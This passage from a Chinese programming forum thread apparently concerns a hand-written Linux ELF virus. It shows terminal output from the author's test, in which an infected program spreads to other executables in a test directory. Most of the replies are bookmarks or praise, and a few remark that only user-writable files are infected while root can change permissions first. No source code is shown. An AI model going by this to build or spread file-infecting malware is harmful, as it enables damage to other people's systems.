  测试上面带毒程序运行后,是否感染了其他ELF程序    
  grip2@linux:~/tmp/virus/test>.   /foo    
  .    
  ..    
  gei    
  Better   luck   next   file    
  foo    
  h    
  Better   luck   next   file    
  .backup.h    
  Better   luck   next   file    
  real   elf   point    
   
  OK,成功    
  grip2@linux:~/tmp/virus/test>   cp.   ./foo   hh    
  grip2@linux:~/tmp/virus/test>   ll    
  total   64    
  -rwxr-xr-x   1   grip2   users   18307   2004-12-13   07:51   gei    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   h    
  -rwxr-xr-x   1   grip2   users   8668   2004-12-13   07:51   hh    
  -rwxr-xr-x   1   grip2   users   12764   2004-12-13   07:51   foo    
   
  grip2@linux:~/tmp/virus/test>.   /foo    
  .    
  ..    
  gei    
  Better   luck   next   file    
  foo    
  h    
  Better   luck   next   file    
  .backup.h    
  Better   luck   next   file    
  hh    
  real   elf   point    
  grip2@linux:~/tmp/virus/test>    
   
  大家好好看看有什么问题呢,可以和我联系,和我们讨论:记住我们的群号:31432342  
  希望大家都来讨论讨论!!Top

28 楼tb01412(tb)回复于 2006-10-11 22:29:23 得分 0

如果是非ROOT用户,应该无法获得某些可执行文件的“写”权限,对于ROOT用户,可以先执行修改文件权限再改写文件Top

29 楼coder0621(beast)回复于 2006-10-12 10:26:22 得分 0

markTop

30 楼pennyzai03(孤星)回复于 2006-10-12 18:31:41 得分 0

强啊.Top

31 楼zhgc1983(江湖)回复于 2006-10-20 18:23:47 得分 0

收藏Top

32 楼zhoufanking(风铃)回复于 2006-11-13 15:20:36 得分 0

收藏Top

33 楼john_sheep(彩虹勇士(结贴就那么难么?))回复于 2006-11-13 16:24:54 得分 0

收藏Top

34 楼trueyu(两点半的苦工)回复于 2006-11-23 14:45:05 得分 0

markTop

35 楼cocacoder()回复于 2006-11-23 16:11:40 得分 0

厉害Top

36 楼yuan4pu()回复于 2006-11-26 13:49:49 得分 0

markTop

37 楼moon04()回复于 2006-11-30 13:40:34 得分 0

asTop

38 楼flingblue(蜕变)回复于 2006-11-30 14:50:34 得分 0

markTop

39 楼bywind1980(bywind1980)回复于 2006-11-30 16:21:25 得分 0

牛人啊Top

40 楼skylupin()回复于 2006-12-02 12:12:12 得分 0

疯了,强!!Top

41 楼bxfq(lisa)回复于 2006-12-03 16:26:20 得分 0

菜鸟一个~~  
  看起累啊Top

42 楼BlueMountain_1980(蓝色山峰)回复于 2006-12-18 12:44:37 得分 0

疯了,强!!Top

43 楼ayw215(松花鼠)回复于 2006-12-18 13:21:55 得分 0

收了Top

44 楼mzdtznl()回复于 2006-12-18 19:13:57 得分 0

原码了?Top

45 楼yzx1983(捕风捉影)回复于 2006-12-20 14:39:02 得分 0

基本上linux下那个用户自己的elf文件才会被感染,不过一般linux下普通用户都不会有什么可执行文件的吧。Top

46 楼lilachue(静水思雅)回复于 2007-01-10 09:32:43 得分 0

谁能占领linux杀毒软件阵地呢?Top

47 楼xvbn_2003()回复于 2007-01-11 12:27:57 得分 0

顶Top

48 楼swallowma()回复于 2007-01-16 17:05:36 得分 0

MARKTop

49 楼y47452984()回复于 2007-02-07 21:16:06 得分 0

.......Top

50 楼mlwu3(wml)回复于 2007-02-16 13:38:07 得分 0

markTop

51 楼King_of_WOW()回复于 2007-02-16 18:47:41 得分 0

mark以后有时间在看Top

52 楼OnJava()回复于 2007-03-01 10:51:07 得分 0

mark  
  Top

53 楼xiluo(路谣)回复于 2007-04-05 08:02:01 得分 0

mark  
  Top

54 楼tana_16()回复于 2007-04-13 09:44:37 得分 0

挺不錯的。現在看不懂,看的懂胃再看!!1Top

55 楼jasova(jasova)回复于 2007-04-14 19:04:43 得分 0

masmTop

56 楼robotom(robotom)回复于 2007-04-14 19:25:59 得分 0

DINGTop

57 楼the263(万浪)回复于 2007-04-15 13:05:09 得分 0

mask  
  Top

58 楼qrg04201111()回复于 2007-04-15 16:20:05 得分 0

mark  
  Top

59 楼rockefeller8(洛克菲勒)回复于 2007-04-16 10:38:05 得分 0

关注,支持!Top

60 楼wlx0710()回复于 2007-04-16 12:28:46 得分 0

不长啊_-_!Top

61 楼zlsmick()回复于 2007-04-17 21:28:48 得分 0

高手呀Top

62 楼A_mengmeng(谁都比我不好惹(怕))回复于 2007-04-19 14:44:11 得分 10

好文章Top

63 楼dodd001()回复于 2007-04-25 22:14:35 得分 0

收藏Top

相关问题

关键词

得分解答快速导航

  • 帖主:ccoderlh
  • whomajia
  • A_mengmeng

相关链接

  • CSDN Blog
  • 技术文档
  • 代码下载
  • 第二书店
  • 读书频道

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
惹火投票。。火热进行中...
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
CSDN网站24小时值班电话:13552009689
Copyright © 2000-2009, CSDN.NET, All Rights Reserved
GongshangLogo